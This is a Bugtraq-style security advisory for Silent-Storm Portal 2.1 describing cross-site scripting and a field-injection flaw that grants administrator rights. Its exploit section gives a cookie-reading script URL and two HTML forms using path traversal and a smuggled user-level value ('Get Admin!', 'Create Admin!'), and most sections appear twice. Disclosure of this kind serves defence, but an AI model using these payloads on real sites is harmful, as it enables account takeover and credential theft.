Silent-Storm Portal Multiple Input Validation Vulnerabilities
BID:11284
Info
Silent-Storm Portal Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 11284 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 30 2004 12:00AM |
| Updated: | Sep 30 2004 12:00AM |
| Credit: | Discovery of these vulnerabilities is credited to R00tCr4ck <[email protected]>. |
| Vulnerable: |
Silent-Storm Silent-Storm Portal 2.1 |
| Not Vulnerable: | |
Discussion
Silent-Storm Portal Multiple Input Validation Vulnerabilities
Silent-Storm Portal is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues are reported to affect the application:
Silent-Storm Portal is reported prone to a cross-site scripting vulnerability.
This cross-site scripting issue can permit a remote attacker to create a malicious URI link to the vulnerable portal that includes hostile HTML and script code. This attack can allow for theft of cookie-based authentication credentials and other attacks.
Silent-Storm Portal is reported prone to an input validation vulnerability that results in the corruption of the Silent-Storm Portal database.
It is demonstrated that a remote attacker may exploit this vulnerability to gain administrative access by adding a malicious user level database field.
Silent-Storm Portal is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues are reported to affect the application:
Silent-Storm Portal is reported prone to a cross-site scripting vulnerability.
This cross-site scripting issue can permit a remote attacker to create a malicious URI link to the vulnerable portal that includes hostile HTML and script code. This attack can allow for theft of cookie-based authentication credentials and other attacks.
Silent-Storm Portal is reported prone to an input validation vulnerability that results in the corruption of the Silent-Storm Portal database.
It is demonstrated that a remote attacker may exploit this vulnerability to gain administrative access by adding a malicious user level database field.
Exploit / POC
Silent-Storm Portal Multiple Input Validation Vulnerabilities
No exploit is required, however the following examples are available:
http://www.example.com/index.php?module=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E
Register a user account then login and run the exploit.html
---exploit.html----
<form method="post" action="http://www.example.com/index.php?module=../../profile">
<input type="text" name="mail" value="[email protected]"><br>
<input type="hidden" name="mail" value="<~>1<~>">
<input type="submit" name="post" value="Get Admin!">
</form>
---/exploit.html---
---exploit2.html----
<form method="post" action="http://www.example.com/index.php?module=../../Home">
User:<input type="text" name="usr" size="10"><br>
Pass:<input type="password" name="pas" size="10"><br>
<input type=hidden name="ema" value="[email protected]<~>1<~>"><br>
<input type="submit" name="reg" value="Create Admin!">
</form>
---/exploit2.html---
No exploit is required, however the following examples are available:
http://www.example.com/index.php?module=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E
Register a user account then login and run the exploit.html
---exploit.html----
<form method="post" action="http://www.example.com/index.php?module=../../profile">
<input type="text" name="mail" value="[email protected]"><br>
<input type="hidden" name="mail" value="<~>1<~>">
<input type="submit" name="post" value="Get Admin!">
</form>
---/exploit.html---
---exploit2.html----
<form method="post" action="http://www.example.com/index.php?module=../../Home">
User:<input type="text" name="usr" size="10"><br>
Pass:<input type="password" name="pas" size="10"><br>
<input type=hidden name="ema" value="[email protected]<~>1<~>"><br>
<input type="submit" name="reg" value="Create Admin!">
</form>
---/exploit2.html---
Solution / Fix
Silent-Storm Portal Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Silent-Storm Portal Multiple Input Validation Vulnerabilities
References:
References:
- Silent-Storm Portal Homepage (Silent-Storm)